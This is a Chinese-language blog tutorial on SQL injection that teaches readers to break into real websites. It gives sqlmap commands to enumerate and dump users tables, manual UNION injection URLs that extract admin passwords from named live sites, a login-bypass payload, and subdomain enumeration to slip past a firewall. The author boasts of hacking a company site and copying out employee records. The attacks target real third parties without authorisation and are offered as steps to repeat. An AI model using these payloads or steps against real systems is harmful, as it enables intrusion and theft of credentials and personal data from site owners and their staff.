SQL注入与简单实战
Example1
谁从小还没有一个当黑帽子的梦想呢，所以就来讲讲SQL💉🩸吧…
环境要求
- sqlmap命令行工具
- 使用Go语言安装包：waybackruls (需要在自己的电脑上部署)
寻找目标 url
对目标网站使用：
echo https://xxx | waybackurls
命令来打印历史 url 信息。如果运气好🍀会返回该网站的很多相关url信息，也有可能没有任何信息。在其中找到一个类似：https://xxxx/?value=xxx的查询路由，记住这条路由接下来使用sqlmap进行注入。
sqlmap 💉注入
【注入数据库】–current-db
使用这条命令进行注入:
sqlmap -u 'https://xxx?value=xxx' --current-db --random-agent
这条命令会检索当前的数据库的信息，遇到redirect直接Y回车即可。
可选参数以及作用：
--random-agent:如果注入后提示 timeout 超时⚠️，则应尝试该命令，伪装成随机的代理。--level=5 --threads=5：该命令可以使注入更快。
如果成功，将会得到一个提示信息(假设它的数据库是goodmoning_db)：
current database: 'goodmoning_db' --random-agent
很显然，我没有得到它。但是如果你得到了这个，恭喜你🎉，可以继续往下注入！
【注入tables】-D ‘xxx_db’ --tables
在获得数据库后，我们可以通过sqlmap查询该库中有哪些table：
sqlmap -u 'https://mygm.in/?cat=1' -D goodmorning_db --tables --radom-agent
这里不妨假设你已经得到了一个可疑的查询url，并且你通过上面的步骤得到了一个数据库goodmorning_db，我们使用了随机代理来提高成功率。假设你成功了，那么你会得到一个tables的列表。
如果你发现有点满，试试上面提到的
--threads=5和--level=5这两个参数，我说过，他们可以提速！
【注入table】- T xxx --dump
假设在上一步你运气很好，得到了一个tables的表，其中有一个users的table：
xxx
xxx
xxx
users
xxx
那你就可以使用如下的命令进行
sqlmap -u 'https://mygm.in/?cat=1' -D goodmorning_db -T users --dump --threads=5 --random-agent
如果成功了，你将会得到表中的数据📊，运气好🍀将可能中奖得到管理员的账号密码，但有可能得到的密码是被加密的，你可能需要去解密它。
小结
虽然看起来很简单，但很可能第一步你都没办法实现，根据本人亲自试验，大部分网站无法使用waybackurls进行历史的追溯，如果能追溯的网站，也不太能被你找到漏洞。
实战
本来本人觉得学完可能也用不到，结果转折来了，我在网上根据网站的特征还真找到一个可以注入的网站，下面来一波教学～
首先，根据这篇博客，我们就能最大程度的找到能够sql注入的网站：寻找sql注入网站的方法，根据文章的方法，我们在搜索栏中输入想要的网站特征🤔：
一路试下来找到这样一个网站：
我们进去，在路由最后加一个引号会发现网站出现变化，原本搜索出来的内容消失了，这就代表出现了错误，只是没有显示给我们看而已！
继续往下寻找信息，会发现加后面加上' order by 1 -- -网站正常显示，但是如果 order by 8 -- -就又消失了，说明了两点：
- 网站对
sql注入基本不防护 - 该数据表有7列
使用order by 8会出现异常：
但是使用order by 1正常显示：
所有的这一切都在告诉我们一个信息，这个网站随便注入，所以打开kali终端进行sqlmap注入。
第一步，查询对应的数据库：
得到信息，数据库名为bygptech，这下跑不掉了。
利用该库名查询内部表：
查到内部的表如下：
这里面我看users最不爽😕，所以先拿它下手🤓，注入users：
拿到users内部数据，保存在该目录：
将csv拷贝到虚拟机外，工作结束🥸：
可以看出来，这里的数据大多都是该公司的员工信息。
本人第一次hack别人的网站，有点小激动，各位大佬都坐好，误笑本菜。
Example2
Example1中使用了sqlmap一把梭，这次使用手动注入的方法。建议提前安装好Firefox浏览器，不然会很痛苦。
获取列数
首先使用'单引号来尝试注入网站，如果网站在被使用'注入后发生了变化，说明sql注入有概率可行。
通过在url后加上下面的代码来获取列的数量。
' order by 数字 -- -
该网站的sql代码原理如下:
注意下面有三个引号，其中两遍的引号都是数据库查询自带的，中间由于我们手动添加了一个引号，构造出了一个绕过的代码，请自行理解。
-- -：左边两个-表示注释，但是右边额外加了个一有点不明所以的-，这是因为在sql中，如果注释右边没有内容，有可能引发错误，所以一般会添加一个字符来占位，为了省事就直接使用-来作为注释的内容🥵。
select * from table where id='9' order by 3 -- - ';
将这里的column换成数字就可以按照指定列来进行排序，所以如果列的序号存在能被查询到结果，否则查询到的结果为空。
SQL中的原理如下：
-
首先创建了一张表作为测试
-
插入数据
-
正常查询的结果：
-
经过
order by的排序后的结果：
-
将成绩改成列的序号
然后在Firefox中安装HackerBar V2这个扩展，请不要错误安装HackBar，没有V2后缀的版本是收费的。
确认列数后并确保你安装了HackBar V2，我们按下F12，对于博阳科技官网，我发现他有7列。
寻找注入点
选择SQL>Union>Union All Select Statement，输入你的列数，自动生成了如下内容：
UNION ALL SELECT 1,2,3,4,5,6,7
复制它，将它替换原来的order by功能，url变成了：
http://www.bygptech.com/about.php?id=9 ' UNION ALL SELECT 1,2,3,4,5,6,7 -- 垃圾网站
这相当于是在说，把7列的查询结果合并成一张表交给前端，但是实际上你这么做了页面也没有任何的变化。你需要将它改为：
http://www.bygptech.com/about.php?id=-9 ' UNION ALL SELECT 1,2,3,4,5,6,7 -- 垃圾网站
你可能已经注意到了，我们把id的查询改为了-9，但其实你可以试试，id等于多少并不重要，你可以随意将它改为123或者-1231之类的任何值，但只要他不是一个有效的值，你就可以绕过正常的查询。
我们还是继续来猜测sql中的原理：
如果没有绕过，union 查询将会有一个正确查询到的结果，并上我们后面自己添加的三个值，这就是我们要修改id的值的原因以及原理。
我们之所以需要获取列数量的信息，就是因为下面这个例子，如果Union查询并上的列数量不一致就会报错。
再来一个例子：
我么可以得到结论，使用id="-9"是为了让查询到的id结果为空，这样最后的结果只有我们union上的数据作为给前端唯一数据，才能让我们想要的数据渲染到页面上。UNION SELECT后面的合并数量要和table中的列数量一致，但是值是什么都行。
嗅探数据库基本信息
根据结果，我们可以看到，页面只渲染了第二列和第四列位置的值，所以我们只需要将2和4改成我们想知道的值，他就会被渲染到页面上，我们就可以嗅探到数据库内部的一些重要信息，例如数据库版本等。
例如，可以把url中的2换成database()，然后你就可以看到数据库的名字是什么了。
像这样的sql内建函数有很多，我们不一定记得住，不过没有关系！☝️🤓我们不是安装了HackBar V2吗，骇客神条会给你答案，下面是操作方法：
在HackBar V2中选择SQL>Union>Basic info column，得到的就是基本的信息函数。
CONCAT_WS(CHAR(32,58,32),user(),database(),version())
嗅探表明
我们可以使用如下命令
http://www.bygptech.com/about.php?id=114514 ' UNION ALL SELECT 1,2,3,group_concat(table_name),5,6,7 from information_schema.tables where table_schema=database() -- 垃圾网站
然后你会得到database()这张表中的所有表名，我们来分析一下🧐：
首先查询这句sql，能得到一个关于databse()数据库的表，其中有两列需要关注：TABLE_NAME，TABLE_SCHEMA。这句话从information_schema这个信息数据库中查询tables表，并从tables表中筛选出数据库为database()的信息。
SELECT * FROM information_schema.`TABLES` WHERE table_schema=DATABASE();
通过group_cancat()可以将某一列中的值拼成一句，就得到了所有的table。
查询到表的集合会被渲染在页面上：
唯一的问题就是，它不是很简单易读，所以可以这样做来增加它的易读性，也就是在每一个,后面增加一个换行。
http://www.bygptech.com/about.php?id=114514 ' UNION ALL SELECT 1,group_concat(table_name, '<br>'),3,4,5,6,7 from information_schema.tables where table_schema=database() -- 垃圾网站
它们看起来很棒🎉不是吗？
嗅探列名
接下来我们将继续使用group_concat()来获取这里user表中的所有列名。
我们可以通过information中的COLUMNS这张表来得到所有数据库和数据表的列名信息，包括user。
如果将TABLE_NAME限制为具体的表名，再将结果进行group_concat()就可以在页面显示所有的列名。
所以，使用下面的命令来获取该网站的trade表中的列名：
http://www.bygptech.com/about.php?id=114514 ' UNION ALL SELECT 1,group_concat(column_name, '<br>'),3,4,5,6,7 from information_schema.columns where table_name='trade' -- 垃圾网站
可以嗅探到列名如下：
嗅探数据
接下来我们试试嗅探admin表中的密码：
admin表中的列如下：
adminid
,adminname
,password
,addtime
http://www.bygptech.com/about.php?id=114514 ' union select 1,group_concat(password, '<br>'),3,4,5,6,7 from admin; -- -
Example 3
灵活使用payloads
在这个例子将会教你如何绕过admin登陆表单，仅限于一些没有防护措施的网站。
就本人写这篇文章的时间节点，下面这个网站仍然可以作为你的实验：
https://www.sspf.in/admin/
搜索: sql payloads github，或者访问这个链接: Github注入网站
进入这个网站，你能看到很多注入的命令，使用这些命令作为表单的输入：
这里我输入' or 1=1 limit 1 -- -作为Username，'作为Password，结果也是相当粗暴（成功绕过后台登陆）：
Example 4
再这个例子中，你将会得到更强的提升，我将会以一个带有域名防火墙的网站作为例子。
安装工具
你需要一个subfinder，这是一个基于Go语言的命令行工具，你可以通过下面的命令安装他，不过前提是你已经安装了Go，如果没有，使用brew来安装Go再继续。
go install -v github.com/projectdiscovery/subfinder/v2/cmd/subfinder@latest
尝试注入
这是我们需要黑入的网站，我已经帮你找好了它的注入点：
访问下面这个url这是我们需要攻击的目标：
https://nied.co.in/course.php?course=1
根据之前所学，如果想要手动黑入该网站，需要先嗅探列的数量：
https://nied.co.in/course.php?course=1 ' order by 40 -- -
根据算法的知识，我们可以使用二分法来测试列的数量，这样时间复杂度可以到达指数级别。根据本人亲测，该网站有40列。
下一步就是打开黑客条V2来进行Union查询。
https://nied.co.in/course.php?course=1 ' UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40
然后你就会遇到今天最幸运的事情，没错，一个防火墙 - “FireWall”！😄
你以为这就结束了吗，不不不，我们可以做到，相信黑帽子！对于防火墙来说，很有可能只是对特定的域名做了防火墙的防护。所以如果使用子域名来进行注入，就有可能成功。
使用 subfinder
打开终端，终于轮到subfinder登场💡：
subfinder -d nied.co.in
由于网站在外🕸️，速度较慢，我们等待一段时间⌛️。
到这里，所有的问题都已经解决，该网站的数据库将向你敞开，尽情地用💉扎它吧。将原来的域名替换成这里的域名。例如，将域名换成mail.nied.co.in是亲测有效的注入域名：
https://mail.nied.co.in/course.php?course=1 ' UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40
在浏览器中输入后将会得到该网站的信息。
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